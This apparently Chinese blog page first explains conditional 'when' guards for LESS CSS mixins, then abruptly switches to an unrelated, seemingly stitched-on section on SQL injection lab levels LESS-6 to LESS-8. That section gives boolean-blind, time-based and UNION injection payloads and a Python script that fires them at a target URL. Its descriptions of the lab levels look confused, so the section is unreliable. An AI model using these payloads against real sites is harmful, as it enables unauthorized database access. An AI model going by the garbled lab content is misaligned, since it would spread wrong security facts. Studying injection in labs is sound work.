Less-条件判断

less中可以通过when给混合添加执行限定条件, 只有条件满足(为真)才会执行混合的代码
when表达式中可以使用比较运算符(> < >= <= =)、逻辑运算符、或检查函数来进条件判断

  • (),()相当于JS中的||
/* 当下边 div 中 .size 传入的第一个参数是100px或者第二个参数是100px才会执行*/
.size(@width,@height) when (@width = 100px),(@height = 100px){
  width: @width;
  height: @height;
}

div{
  .size(100px,100px);
  background: red;
}
  • ()and()相当于JS中的&&
/* 当下边 div 中 .size 传入的第一个参数是100px并且第二个参数是100px才会执行*/
.size(@width,@height) when (@width = 100px) and (@height = 100px){
  width: @width;
  height: @height;
}

div{
  .size(100px,100px);
  background: red;
}
### SQL Injection Lab LESS-6 到 LESS-8 的相关内容 #### 关于 LESS-6 LESS-6 是一个基于布尔型盲注的实验场景。在这个实验中,攻击者通过判断页面返回的结果来推测数据库中的数据是否存在特定字符或数值。通常情况下,这种类型的注入会利用条件语句 `AND` 或 `OR` 来控制查询逻辑。 例如,在 LESS-6 中可能需要构造如下 payload: ```sql ' AND ASCII(SUBSTRING((SELECT database()),1,1)) > 97 -- ``` 上述 Payload 将逐位猜测数据库名称的第一个字母是否大于某个 ASCII 值[^1]。 #### 关于 LESS-7 LESS-7 主要涉及时间延迟型盲注(Time-Based Blind SQL Injection)。在这种模式下,攻击者无法直接从响应内容中获取反馈,而是通过观察服务器响应的时间差异来进行推理。常用的函数包括 `SLEEP()` 和 `BENCHMARK()`。 下面是一个典型的 Time-Based 注入例子: ```sql ' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))>97,SLEEP(5),NULL) -- ``` 此 Payload 使用了 MySQL 的 `IF` 函数以及 `SLEEP` 方法让服务器在满足条件下暂停几秒钟[^2]。 #### 关于 LESS-8 LESS-8 属于联合查询注入(Union-based SQL Injection),它允许攻击者将额外的数据附加到原始查询结果上并显示出来。为了成功执行 Union 查询,两个 SELECT 子句必须具有相同数量列数及其对应字段类型兼容。 举个简单的实例: ```sql 1 UNION ALL SELECT null,null,database()-- ``` 这里我们假设原查询有两列,则新添加部分也需匹配相应结构以便正常渲染网页上的信息[^3]。 ```python import requests url = 'http://example.com/vulnerable_page' payloads = [ "' AND ASCII(SUBSTRING((SELECT database()),1,1)) > 97 --", "' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))>97,SLEEP(5),NULL) --", "1 UNION ALL SELECT null,null,database()--" ] for p in payloads: response = requests.get(url + "?id=" + p) if "sleep" in p and response.elapsed.total_seconds() >= 5: print(f"[+] Detected time delay with {p}") elif any(keyword in response.text for keyword in ["error", "union"]): print(f"[+] Possible vulnerability detected using {p}") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值